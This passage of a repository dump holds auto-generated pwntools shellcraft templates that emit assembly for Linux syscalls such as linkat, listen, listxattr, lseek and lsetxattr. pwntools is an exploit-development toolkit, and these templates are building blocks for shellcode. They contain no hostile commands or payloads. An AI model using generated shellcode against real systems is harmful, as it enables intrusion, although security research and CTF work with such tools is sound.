'.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/linkat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>linkat(fromfd, from_, tofd, to, flags) -> str\n\nInvokes the syscall linkat.\n\nSee 'man 2 linkat' for more information.\n\nArguments:\n    fromfd(int): fromfd\n    from_(char*): from\n    tofd(int): tofd\n    to(char*): to\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fromfd=0, from_=0, tofd=0, to=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['from', 'to']\n    can_pushstr_array = []\n\n    argument_names = ['fromfd', 'from', 'tofd', 'to', 'flags']\n    argument_values = [fromfd, from_, tofd, to, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_linkat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_linkat'])\n%>\n    /* linkat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/listen.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>listen(fd, n) -> str\n\nInvokes the syscall listen.\n\nSee 'man 2 listen' for more information.\n\nArguments:\n    fd(int): fd\n    n(int): n\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, n=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'n']\n    argument_values = [fd, n]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_listen']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_listen'])\n%>\n    /* listen(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/listxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>listxattr(path, list, size) -> str\n\nInvokes the syscall listxattr.\n\nSee 'man 2 listxattr' for more information.\n\nArguments:\n    path(char*): path\n    list(char*): list\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, list=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'list']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'list', 'size']\n    argument_values = [path, list, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_listxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_listxattr'])\n%>\n    /* listxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/llistxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>llistxattr(path, list, size) -> str\n\nInvokes the syscall llistxattr.\n\nSee 'man 2 llistxattr' for more information.\n\nArguments:\n    path(char*): path\n    list(char*): list\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, list=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'list']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'list', 'size']\n    argument_values = [path, list, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_llistxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_llistxattr'])\n%>\n    /* llistxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lock.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lock(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall lock.\n\nSee 'man 2 lock' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lock']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lock'])\n%>\n    /* lock(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lookup_dcookie.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lookup_dcookie(cookie, buffer, length) -> str\n\nInvokes the syscall lookup_dcookie.\n\nSee 'man 2 lookup_dcookie' for more information.\n\nArguments:\n    cookie(u64): cookie\n    buffer(char*): buffer\n    length(size_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"cookie=0, buffer=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buffer']\n    can_pushstr_array = []\n\n    argument_names = ['cookie', 'buffer', 'length']\n    argument_values = [cookie, buffer, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lookup_dcookie']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lookup_dcookie'])\n%>\n    /* lookup_dcookie(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lremovexattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lremovexattr(path, name) -> str\n\nInvokes the syscall lremovexattr.\n\nSee 'man 2 lremovexattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name']\n    argument_values = [path, name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lremovexattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lremovexattr'])\n%>\n    /* lremovexattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lseek.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lseek(fd, offset, whence) -> str\n\nInvokes the syscall lseek.\n\nSee 'man 2 lseek' for more information.\n\nArguments:\n    fd(int): fd\n    offset(off_t): offset\n    whence(int): whence\nReturns:\n    off_t\n</%docstring>\n<%page args=\"fd=0, offset=0, whence=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'offset', 'whence']\n    argument_values = [fd, offset, whence]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lseek']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lseek'])\n%>\n    /* lseek(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lsetxattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lsetxattr(path, name, value, size, flags) -> str\n\nInvokes the syscall lsetxattr.\n\nSee 'man 2 lsetxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size', 'flags']\n    argument_values = [path, name, value, size, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lsetxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lsetxattr'])\n%>\n    /* lsetxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
